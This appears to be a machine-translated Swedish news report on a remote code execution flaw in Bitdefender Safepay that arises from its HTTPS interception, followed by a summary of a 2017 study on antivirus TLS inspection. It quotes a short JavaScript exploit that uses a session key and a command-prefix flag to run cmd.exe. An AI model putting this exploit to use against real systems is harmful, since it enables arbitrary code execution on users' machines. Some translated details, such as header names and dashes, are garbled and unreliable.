Vladimir Palant, skapare av Adblock Plus, () i den specialiserade webblÀsaren Safepay baserad pÄ Chromium-motorn, som erbjuds som en del av antiviruspaketet Bitdefender Total Security 2020 och som syftar till att öka sÀkerheten för anvÀndarens arbete pÄ det globala nÀtverket (till exempel tillhandahÄlls ytterligare isolering vid Ätkomst till banker och betalningssystem). SÄrbarheten tillÄter webbplatser som öppnas i webblÀsaren att exekvera godtycklig kod pÄ operativsystemnivÄ.
Orsaken till problemet Àr att Bitdefender antivirus utför lokal avlyssning av HTTPS-trafik genom att ersÀtta webbplatsens ursprungliga TLS-certifikat. Ett extra rotcertifikat Àr installerat pÄ klientens system, vilket gör det möjligt att dölja driften av trafikinspektionssystemet som anvÀnds. Antiviruset kilar in sig i skyddad trafik och infogar sin egen JavaScript-kod pÄ vissa sidor för att implementera Safe Search-funktionen, och vid problem med det sÀkra anslutningscertifikatet ersÀtter det den returnerade felsidan med sin egen. Eftersom den nya felsidan visas pÄ uppdrag av servern som öppnas, har andra sidor pÄ den servern full Ätkomst till innehÄllet som infogats av Bitdefender.
NÀr du öppnar en webbplats som kontrolleras av en angripare, kan den webbplatsen skicka en XMLHttpRequest och lÄtsas problem med HTTPS-certifikatet nÀr du svarar, vilket kommer att leda till att en felsida som Àr förfalskad av Bitdefender Äterkommer. Eftersom felsidan öppnas i sammanhanget för angriparens domÀn kan han lÀsa innehÄllet pÄ den förfalskade sidan med Bitdefender-parametrar. Sidan som tillhandahÄlls av Bitdefender innehÄller ocksÄ en sessionsnyckel som lÄter dig anvÀnda det interna Bitdefender API för att starta en separat Safepay webblÀsarsession, specificera godtyckliga kommandoradsflaggor och för att starta systemkommandon med "--utility-cmd-prefix" flagga. Ett exempel pÄ en exploit (param1 och param2 Àr vÀrden som erhÄlls frÄn felsidan):
var request = new XMLHttpRequest();
request.open("POST", Math.random());
request.setRequestHeader("InnehÄllstyp", "application/x-www-form-urlencoded");
request.setRequestHeader(«BDNDSS_B67EA559F21B487F861FDA8A44F01C50», param1);
request.setRequestHeader(«BDNDCA_BBACF84D61A04F9AA66019A14B035478», param2);
request.setRequestHeader(«BDNDWB_5056E556833D49C1AF4085CB254FC242», «obk.run»);
request.setRequestHeader(«BDNDOK_4E961A95B7B44CBCA1907D3D3643370D», location.href);
request.send("data:text/html,nada âutility-cmd-prefix=\"cmd.exe /k whoami & echo\"");
LÄt oss komma ihÄg att en studie som genomfördes 2017 att 24 av 26 testade antivirusprodukter som inspekterar HTTPS-trafik genom certifikatspoofing minskade den övergripande sÀkerhetsnivÄn för en HTTPS-anslutning.
Endast 11 av de 26 produkterna gav aktuella chiffersviter. 5 system verifierade inte certifikat (Kaspersky Internet Security 16 Mac, NOD32 AV 9, CYBERsitter, Net Nanny 7 Win, Net Nanny 7 Mac). Produkterna Kaspersky Internet Security och Total Security utsattes för attacker , och AVG-, Bitdefender- och Bullguard-produkter attackeras О . Dr.Web Antivirus 11 lÄter dig rulla tillbaka till opÄlitliga exportchiffer (attack ).
KĂ€lla: opennet.ru
